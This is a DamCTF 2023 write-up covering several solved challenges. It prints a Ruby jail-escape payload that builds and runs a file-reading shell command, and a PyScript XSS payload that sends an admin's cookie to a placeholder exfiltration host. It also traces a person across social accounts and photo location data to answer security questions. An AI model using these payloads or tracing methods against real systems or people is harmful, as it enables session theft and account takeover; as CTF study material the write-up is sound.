DamCTF 2023 Writeup

misc/de-compressed

All they gave us was a .zip file, but there’s nothing interesting in the README it spits out. Can we see anything else in the hex editor?

What’s this secret.txt file doing there? Shout out to Quinn for figuring this out, he created another zip file with the correct file structure and pasted over the headers of the broken one. After that we were left with a kind of riddle:

‌‌‌‌‍‌‍‌I ‌‌‌‌‍‍read‌‌‌‌‍‌ ‌‌‌‌‍‌between ‌‌‌‌‍‍‍‌‌‌‌‍‍the‌‌‌‌‍‌‍‌‌‌‌‍‌ lines, my ‌‌‌‌‍‍‌vision'‌‌‌‌‌‌‌s ‌‌‌‌‍‍‌‌‌‌‌‍‌‌‌‌‌‍‍‍clear‌‌‌‌‌‌‌ and‌‌‌‌‍‍‌ keen‌‌‌‌‍‌‍‍
I‌‌‌‌‍‌‌‍ ‌‌‌‌‍‌‍‌see ‌‌‌‌‍‌‍the hidden‌‌‌‌‍‌‍‍ ‌‌‌‌‌‌meanings, ‌‌‌‌‌‌‌the truths ‌‌‌‌‍‌‍that‌‌‌‌‌‌‌‌‌‌‌‍‌‍ ‌‌‌‌‍‍are unseen
‌‌‌‌‌‌‌I don'‌‌‌‌‍‌t ‌‌‌‌‍‍‌‌‌‌‌‍‍‌‌‌‌‍‌just‌‌‌‌‍‌‌‌‌‌‌‌‌‌‌‌‌‍‌‌‌‌‍‌‌‌‌‌‌‌ take ‌‌‌‌‍‍‌things ‌‌‌‌‍‌at ‌‌‌‌‍‍‍face value,‌‌‌‌‌‌‌‌‌‌‌‍‍‌ ‌‌‌‌‍‍‍that‌‌‌‌‍‌‍‌‌‌‌‍‍‌‌‌‌‌'s not‌‌‌‌‌‌ my‌‌‌‌‍‍‌‌‌‌‌‍‌‍ ‌‌‌‌‍‍style
I ‌‌‌‌‍‌‌‌‌‍‍‌dig‌‌‌‌‌‌‍‌‌‌‌‍‍ ‌‌‌‌‌‌deep and I uncover‌‌‌‌‍‍‌‌‌‌‍‍‌, the ‌‌‌‌‌‌‌hidden‌‌‌‌‍‍ ‌‌‌‌‍‌‌‌‌‍‍treasures‌‌‌‌‍‌ ‌‌‌‌‍that‌‌‌‌‍‍‌‌‌‌‍‌‌‌‌‌‌‍‌‌‌‌‌‍‌ ‌‌‌‌‍‌‌‌‌‍‍are‌‌‌‌‌‍‌ compiled‌‌‌‌‍
‌‌‌‌‍‍‌‌‌‌‌‍‍‌‌‌‌‍‌‌‌‌‌‌‌‌‌‌‌‍‌‌‌‌‌‌‍‌‌‌‌‌‍‌‌‌‌‌‍‍

If you inspect the text, there’s a lot of Unicode zero-width joiners doing there, what might they encode? After a lot of fucking around we figured out it was just a matter of putting it through this decoder: https://330k.github.io/misc_tools/unicode_steganography.html

Flag:

dam{t1m3_t0_kick_b4ck_4nd_r3l4x}

misc/incharcerated

This one was a lot of fun and fucking around. The challenge is a Ruby eval prompt with regexes that don’t allow you to use numbers, parenthesis, brackets/braces, or (most importantly) single or double quotes.

#!/usr/bin/env ruby
# RUBY_VERSION == 3.2

puts <<~'HEADER'
      ----------------------------
        ||     ||      ||     ||
        ||     ||      ||     ||
        ||  ___|| ____ ||___  ||
        || /   ||'    `||   \ ||
        ||____/||______||\____||
        ||\   \||      ||/   /||
        || `\  ||      ||  /' ||
        ||    `||\    /||'    ||
        ||     ||\ \/ /||     ||
        ||     || `\/' ||     ||
      ----------------------------
  jailed for crimes against parentheses

HEADER

printf '>>> '
STDOUT.flush
input = readline.chomp

# cant make this too easy
class Object
  def system(*)
    'nice try youre not getting the flag this way'
  end

  def spawn(*)
    'or this way either'
  end
end

if input =~ /[^a-z.;=_ ]/
  # be nice and print out what character failed
  puts "failure builds character: #{Regexp.last_match}"
  exit 1
end

eval(input)

The author overriding system and spawn methods made us think that getting a shell was difficult and not the intended solution (we were wrong). We started poking around the global_variables looking for interesting things within the confines we were given (and not finding anything). Eventually, with some googling at previous ruby challenges, we realized that exec was a perfectly good replacement for system and could allow us to execute arbitrary commands in the shell.

Because of the fact that we couldn’t construct a string ourselves, we created this monstrosity which borrows characters from global_variables and eventually constructs the final command cat$IFS* (couldn’t figure out how to get a space, so we used the “internal field separator” variable instead)

Payload:

tempval = global_variables;a = tempval.pop.to_s.chars.last;c = a.next.next;t = c.next.next.next.next.next.next.next.next.next.next.next.next.next.next.next.next.next;tempval.pop;tempval.pop;star = tempval.pop.to_s.chars.last;full_command = c.concat a;full_command.concat t;full_command.concat;tempval.pop;capitals = tempval.pop.to_s;dollar_sign = capitals.chars.first;puts dollar_sign;capital_a = capitals.chop.chop;capital_a = capital_a.chars.last;full_command.concat dollar_sign;full_command.concat capital_a.next.next.next.next.next.next.next.next;full_command.concat capital_a.next.next.next.next.next;full_command.concat capital_a.next.next.next.next.next.next.next.next.next.next.next.next.next.next.next.next.next.next;full_command.concat star;exec full_command

Flag:

dam{the-real-rubytaco-was-the-symbols-we-found-along-the-way}

misc/mesothelioma

Reviewed initial image, could tell that the lettering on the sign looked like something related to one of the US government organizations in charge of wildlife/land/outdoors. Reverse image search cropped to just the logo on the sign revealed that it was related to the Bureau of Land Management (BLM).

Searched Google for terms like “Mesothelioma”, “Asbestos”, and “Bureau of Land Management”. Most prominent result was for a location called “Clear Creek Management Area” or commonly abbreviated to “CCMA”.

Searching the exact wording on the sign also turned up some interesting documents which revealed communications between an asbestos lawyer and the BLM in which he was inquiring about specific wording on the sign. In reading through this email chain between the lawyer and a BLM representative we confirmed that a sign with the exact same wording as the prompt existed somewhere within the Clear Creek Management Area. Additionally, in this discussion we discovered that a scientific study had been conducted at some point to better understand the risks involved with riding off-road vehicles around on the asbestos-containing soil in this area.

With this info we jumped straight to Google Street View and started scanning for road signs near the entrance road to but quickly found that street view imagery didn’t cover much of the BLM land/roads around CCMA. This ate up a lot of our time and eventually we backtracked and looked deeper into the research study which was hinted at previously.

We were able to find a forum for dirt bikers in which they were debating the dangers and risk proposition of riding in the area. One forum poster linked to a copy of the research paper which was conducted by the International Environmental Research Foundation and looking through this document we were able to find a picture which showed the exact same sign as we were given initially… but with far more contextual information. Critically, we could see another, much more prevalent sign was only a few hundred feet away from our sign.

“Preliminary Analysis of the Asbestos Exposures Associated with Motorcycle Riding and Hiking in the Clear Creek Management Area (CCMA) San Benito County, California”

Within the research paper they included pictures of the area.

Ctrl+F for “Figure 2”

After checking Google Maps/Earth we spotted a mysterious trapezoidal shadow and knew that it had to be the shadow of the Clear Creek Management Area sign.

See how irregular this shadow is compared to all the shadows of the trees? Moreover, we could find a matching fork in the road with one side of the fork headed uphill and the other heading downhill.

Final Coords (rounded)

Flag:

dam{36.22.00,-120.45.09}

misc/forget-me-not

This was another entertaining OSINT rabbit hole, the kind of challenge we really love. We’re asked to hack CryptoGeniusL1, whose three security questions are as follows:

  1. Current business email address
  2. Make and model of your first car
  3. Favorite restaurant growing up

Following this convoluted chain, the three questions are highlighted in bold.

We found the target’s Twitter (containing important info that their dad now has their favorite car and it’s parked in his driveway) -> Mastodon (contains profile picture takes us to a food review of their favorite restaurant, B-Bop’s) (also contained a hint that he’s on Facebook only so he can keep in contact with his family) -> Public email on Mastodon revealed his GitHub account -> Reveals his workplace with info in the about section revealing the email format (striegel.l@eternalzenith.com)

Since we found out he’s on Facebook from Mastodon, a quick search revealed him, and his only FB friend, his dad. -> Dad’s flickr account -> EXIF location data in the photos which takes us to a house with two cars parked in the driveway.

We figured out pretty quickly that the ‘black’ car was a Chevy Malibu, but it took us way too long (and a little bit of help from an AI) to discover that it was in fact a 2013 Chevrolet Malibu

Flag:

dam{F0rg37_7h3_P@55w0rd_N07_7h3_0P53C}

web/tcl-tac-toe

The goal is to win at tic tac toe, simple as that. The author used the old script language tcl just to fuck with us I assume: tcl-tac-toe.zip

As you can see, the server signs each move you give it to make sure there’s no tampering, and it’s true, we never tampered with the state of the game. But a bug existed where when the AI checks for places it can move, it allows any character to fill the space, and the valid_move function doesn’t check for malformed input. Basically, we were able to put a temporary space down (neither an X or an O), where the AI couldn’t move, and then the next move we could fill that space (bypasses the ‘is it occupied already’ check because that does only check for X’s and O’s)

This challenge was a lot of fun because it involved learning a new language and walking through the code bit by bit until we could see the solution right in front of us.

Flag:

forgot to write it down sorry

web/url-stored-notes

This challenge is a straight-forward XSS attack with a twist. It uses an interesting project called PyScript which lets you run Python in the browser, while communicating back and forth with JS.

The notes app was vulnerable because it let the user create arbitrary elements of all kinds (except script).

<!DOCTYPE html>
<html>
<head>
    <title>No Data-Store Notes</title>
    <link rel="stylesheet" href="https://pyscript.net/latest/pyscript.css" />
    <link rel="stylesheet" href="style.css" />
    <script defer src="https://pyscript.net/latest/pyscript.js"></script>
</head>
<body id="content">
<button id="edit" onclick="document.location = window.location.origin+'/edit'+window.location.hash">Edit Notes</button>
<script id="js">

    function createNoteElement(prompt, answer, tag){
        // secure, as always
        if (tag.toLowerCase() === 'script'){
            tag = 'p'
        }

        const noteElement = document.createElement("div");
        noteElement.classList.add("note");
        const textElement = document.createElement("div");
        textElement.classList.add("text");
        const promptElement = document.createElement(tag);
        const answerElement = document.createElement(tag);
        answerElement.style.display = "none";
        textElement.addEventListener("click", () => {
            if (promptElement.style.display === "none"){
                promptElement.style.display = "";
                answerElement.style.display = "none";
            } else {
                promptElement.style.display = "none";
                answerElement.style.display = "";
            }
        });

        noteElement.appendChild(textElement);
        textElement.appendChild(promptElement);
        textElement.appendChild(answerElement);

        promptElement.textContent = prompt;
        answerElement.textContent = answer;

        document.getElementById("notes").appendChild(noteElement);

        return;
    }

    // Auto-reload content
    window.onload = () => {
        console.log("onload triggered...");
        const python_code = document.getElementById('python').innerHTML;
        window.onhashchange =  () => {
            // probably not the right way to do this but I don't care 😎
            pyscript.runtime.run(python_code.replace('&gt;', ">"))
        }
    }
</script>
<div id="notes"></div>
<py-config>
    packages = ["lzma"]
</py-config>
<py-script id="python">
        import js
    from base64 import b64encode, b64decode
    from lzma import compress, decompress
    import json
    from pyscript import Element

    encodedNotes = js.window.location.hash[1:]
    notes = {}
    try:
        encoded_notes = encodedNotes.encode()
        decoded_notes = decompress(b64decode(encoded_notes))
        notes = json.loads(decoded_notes.decode('utf-8'))
    except:
        notes = {}

    # Dynamically load content
    js.document.getElementById('notes').innerHTML=''
    for note in notes:
        if 'prompt' in note and 'answer' in note and "tag" in note:
            js.createNoteElement(note['prompt'], note['answer'], note['tag'])

</py-script>
</body>
</html>

We crafted a payload which created a py-script tag which gets executed as soon as its created:

from js import XMLHttpRequest

req = XMLHttpRequest.new()
req.open("POST", "https://<EXFIL URL>/exfil", False)
req.send(document.cookie)
output = str(req.response)

After that, the CTF gives us a helpful prompt to paste a link, which runs an automated browser simulating us sending that link to an unknowing admin. After that, they happily sent us the cookie.

Flag:

forgot to write it down sorry

crypto/crack-the-key

We’re given a really small RSA key, and an encrypted flag file. This tool easily allowed us to crack the private key and get the flag: https://github.com/RsaCtfTool/RsaCtfTool

Flag:

dam{4lw4y5_u53_l4r63_r54_k3y5}


Thank you so much to OSUSEC for putting together these amazing competitions.